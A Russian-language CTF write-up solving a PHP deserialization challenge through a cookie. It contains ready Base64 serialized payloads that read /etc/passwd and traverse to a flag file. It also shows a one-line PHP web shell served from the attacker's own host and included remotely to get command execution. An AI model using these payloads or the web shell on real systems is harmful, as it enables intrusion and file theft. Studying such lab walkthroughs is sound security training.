Разбор Cookie handler CTF f8tasks
Необходимое ПО/утилиты для решения: Burp Suite, ffuf(или любой другой фаззер)
Заходим по URL: http://wsr.gmax.pro:32233/
На сайте встречает приветственное сообщение с намеками на обработчик сookie.
Необходимо обратить внимание на заголовок Cookie с параметром user. Сами куки у нас закодированы в URL + Base64. После декодирования:
Т.к. у меня Burp Professional, мне пришло уведомление от пассивного сканера:
Похоже, что параметр user содержит сериализованный объект PHP.
Узнать больше об уязвимостях в сериализованных объектах можно здесь: https://portswigger.net/web-security/deserialization
O:4:"User":2:
— Это объект (O
) классаUser
, который имеет 4 символа в названии. У объекта есть 2 свойства.
По факту далее с этим особо ничего нельзя сделать, не имея на руках исходников. Теперь необходимо поискать какие то подсказки. Пробуем фаззить директории/файлы:
Находим backup файл.
После анализа исходников в бэкапе, выясняем, что мы можем вызывать file inclusion, передавая в куки объект Log с атрибутом Logtype_log, а в строке указывая файл, не забывайте менять кол-во символов в строке в данном случае s:11. Base64: Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjQ6IlRFU1QiO3M6OToiAFVzZXIAd2VsIjtPOjM6IkxvZyI6MTp7czoxMzoiAExvZwB0eXBlX2xvZyI7czoxMToiL2V0Yy9wYXNzd2QiO319
Кодируем в base64 и отправляем запрос
Далее file inclusion можно разными способами раскрутить до RCE. Или же можно попробовать нафаззить по директориям флаг. Рассмотрим несколько вариантов.
Сначала я думал что здесь LFI, а оказалось - RFI, что бывает крайне редко, тк настройка для RFI в php -allow_url_include
по умолчанию отключена в современных версиях PHP.
<ЕСЛИ У ВАС НЕТ VPS НИЖЕ СПОСОБ БЕЗ НЕГО>
Для эксплуатации RFI необходим VPS(или белый айпи-адрес), с поднятым веб-сервером. А на нем php Скрипт который будет включать(inclusion) наш уязвимый сервер. В свою очередь скрипт будет позволять команды.
Заходим на VPS, создаем файл shell.txt, записываем туда следующий скрипт:
<?php system($_GET['poc']); ?>
В этой же директории запускаем simple http сервер с помощью питона:
В строке атрибута Logtype_log указываем URL с shell.txt а в get запросе указываем команду для выполнения:
Кодируем cookie в base64, отправляем запрос, и получаем ответ:
теперь или читаем через RCE или через inclusion флаг
Через RCE:
Способ получения флага без VPS, через включение файлов :
Сначала изменяем атрибут Logtype_log:
кодируем в base64 и отправляем запрос:
Base64 для получения флага:
Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjQ6IlRFU1QiO3M6OToiAFVzZXIAd2VsIjtPOjM6IkxvZyI6MTp7czoxMzoiAExvZwB0eXBlX2xvZyI7czoxNzoiLi4vLi4vLi4vZmxhZy50eHQiO319
Автор: https://t.me/cybersecuritybureau | Здесь еще больше разборов